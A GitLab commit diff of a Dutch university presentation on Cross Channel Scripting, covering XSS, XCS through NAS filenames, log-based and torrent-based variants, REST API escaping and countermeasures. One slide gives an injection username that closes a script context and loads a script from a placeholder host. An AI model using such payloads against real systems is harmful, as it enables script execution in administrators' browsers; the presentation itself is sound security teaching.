Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Contribute to GitLab
Sign in
Toggle navigation
U
uva
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Analytics
Analytics
CI / CD
Repository
Value Stream
Wiki
Wiki
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Taddeüs Kroes
uva
Commits
0597b927
Commit
0597b927
authored
May 09, 2011
by
Sander Mathijs van Veen
Browse files
Options
Browse Files
Download
Plain Diff
Merge branch 'master' of
ssh://vo20.nl/git/uva
parents
51851823
39973c54
Changes
2
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
67 additions
and
28 deletions
+67
-28
portfolio/xcs/3-log.png
portfolio/xcs/3-log.png
+0
-0
portfolio/xcs/xcs.tex
portfolio/xcs/xcs.tex
+67
-28
No files found.
portfolio/xcs/3-log.png
0 → 100644
View file @
0597b927
1.31 MB
portfolio/xcs/xcs.tex
View file @
0597b927
...
@@ -17,7 +17,20 @@
...
@@ -17,7 +17,20 @@
\tableofcontents
\tableofcontents
}
}
\section
{
Introductie Cross Site Scripting
}
\section
{
Waarom XCS?
}
\frame
{
\frametitle
{
Waarom XCS?
}
\begin{itemize}
\item
Ligt dicht bij de webontwikkelaar
\item
Aantal embedded web servers groeit
\item
Beveiliging groeit niet mee
\end{itemize}
}
\section
{
Cross Site Scripting
}
\frame
\frame
{
{
...
@@ -26,7 +39,7 @@
...
@@ -26,7 +39,7 @@
\begin{itemize}
\begin{itemize}
\item
Invoegen van scripts op een webpagina door slechte validatie
\item
Invoegen van scripts op een webpagina door slechte validatie
\item
Web to web
\item
Web to web
\item
p
re
sistent of non-persistent
\item
p
er
sistent of non-persistent
\end{itemize}
\end{itemize}
}
}
...
@@ -52,19 +65,16 @@
...
@@ -52,19 +65,16 @@
\section
{
Cross Channel Scripting
}
\section
{
Cross Channel Scripting
}
\subsection
{
Introductie
}
\frame
[containsverbatim]
\frame
[containsverbatim]
{
{
\frametitle
{
Cross Channel Scripting (XCS)
}
\frametitle
{
Cross Channel Scripting (XCS)
}
\begin{itemize}
\begin{itemize}
\item
Non-web to web
\item
Infectie gaat over een non-web channel, executie over web channel:
\item
Infectie gaat over een andere ``channel'' dan executie:
\begin{verbatim}
\begin{verbatim}
aanvaller ->
protocol A -> service A # infecti
e
aanvaller ->
non-web protocol -> non-web servic
e
|
|
doe
wit <- protocol B <- service B # executi
e
doe
lwit <- HHTP <- web servic
e
\end{verbatim}
\end{verbatim}
\item
Persistent
\item
Persistent
\item
Twee op zichzelf veilige services A en B zijn samen onveilig
\item
Twee op zichzelf veilige services A en B zijn samen onveilig
...
@@ -76,7 +86,7 @@ doewit <- protocol B <- service B # executie
...
@@ -76,7 +86,7 @@ doewit <- protocol B <- service B # executie
{
{
\frametitle
{
Voorbeeld XSC: FTP exploit
}
\frametitle
{
Voorbeeld XSC: FTP exploit
}
Een apparaat
upload bestanden naar web-interface, kunnen we een script
NAS
upload bestanden naar web-interface, kunnen we een script
meesturen in de bestandsnaam?
\\
meesturen in de bestandsnaam?
\\
\vspace
{
4mm
}
\vspace
{
4mm
}
\textbf
{
Uitdagingen
}
\textbf
{
Uitdagingen
}
...
@@ -108,48 +118,75 @@ doewit <- protocol B <- service B # executie
...
@@ -108,48 +118,75 @@ doewit <- protocol B <- service B # executie
\end{itemize}
\end{itemize}
}
}
\subsection
{
Voorbeeld: Log-based XCS
}
\frame
[containsverbatim]
\frame
[containsverbatim]
{
{
\frametitle
{
Voorbeeld: Log-based XCS
}
\frametitle
{
Voorbeeld: Log-based XCS
}
Een logbestand wordt remote bekeken door een administrator. Kunnen we iets
loggen wat op dat moment wordt uitgevoerd?
\begin{itemize}
\item
Probeer in te loggen met username:
\begin{verbatim}
\begin{verbatim}
r","","");
\\
/--></script><script src="http://xxx"></script>
r","","");
\\
/--></script>
<script src="http://xxx"></script>
\end{verbatim}
\end{verbatim}
\end{itemize}
}
\frame
{
\frametitle
{
Voorbeeld: Log-based XCS (2)
}
\begin{figure}
\includegraphics
[width=200pt]
{
3-log.png
}
\caption
{
Malafide code in een logbestand
}
\end{figure}
}
}
\section
{
Reverse XCS
}
\section
{
Reverse XCS
}
\frame
\frame
[containsverbatim]
{
{
\frametitle
{
Reverse XCS
}
\frametitle
{
Reverse XCS
(RXCS)
}
\begin{itemize}
\begin{itemize}
\item
Web to non-web
\item
Infectie over web channel, executie over non-web channel
\item
\begin{verbatim}
doelwit <- non-web protocol <- non-web service
|
aanvaller -> HTTP -> web service
\end{verbatim}
\end{itemize}
\end{itemize}
}
}
\frame
\frame
{
{
\frametitle
{
Voorbeeld
RXCS: The ghost in the photo frame
}
\frametitle
{
Voorbeeld
: Reverse XCS in torrent
}
NAS download torrent van een webserver, de bestandsnamen in de torrent
bevatten een script.
\vspace
{
4mm
}
\textbf
{
Uitdagingen
}
\begin{itemize}
\begin{itemize}
\item
\item
Torrent bevat lijst van bestanden
$
\rightarrow
$
verspreid script
\item
over meerdere bestandsnamen
\item
Script wordt uitgevoerd op NAS, bijv. seeden van torrents of
stelen van data
\end{itemize}
\end{itemize}
}
}
\frame
\frame
{
{
\frametitle
{
RESTful
RXCS
}
\frametitle
{
RESTful
API's
}
\begin{itemize}
\begin{itemize}
\item
\item
Probleem: derde partij verwacht ``veilige'' data, cloud service
stuurt ``raw'' data
\item
Twitter: escape bij invoer (input time)
$
\rightarrow
$
derde partij
moet unescapen voor eigen format
$
\rightarrow
$
foutgevoelig
\item
Facebook: escape bij uitvoer (display time)
$
\rightarrow
$
derde
partij moet zelf escapen, dit gebeurt soms niet
\end{itemize}
\end{itemize}
}
}
...
@@ -162,7 +199,7 @@ doewit <- protocol B <- service B # executie
...
@@ -162,7 +199,7 @@ doewit <- protocol B <- service B # executie
\begin{itemize}
\begin{itemize}
\item
Encoding/escaping
\item
Encoding/escaping
\item
Valideren van onvertrouwde HTML-uitvoer
\item
Valideren van onvertrouwde HTML-uitvoer
\item
C
ookies
\item
Extra validatie bovenop c
ookies
\item
Blokkeren van scripts door gebruiker
\item
Blokkeren van scripts door gebruiker
\end{itemize}
\end{itemize}
}
}
...
@@ -174,7 +211,9 @@ doewit <- protocol B <- service B # executie
...
@@ -174,7 +211,9 @@ doewit <- protocol B <- service B # executie
\frametitle
{
Conclusie
}
\frametitle
{
Conclusie
}
\begin{itemize}
\begin{itemize}
\item
\item
Beveiliging tegen XCS is vaak slecht.
\\
De oorzaak van dit probleem ligt bij fabrikanten en
webontwikkelaars.
\end{itemize}
\end{itemize}
}
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment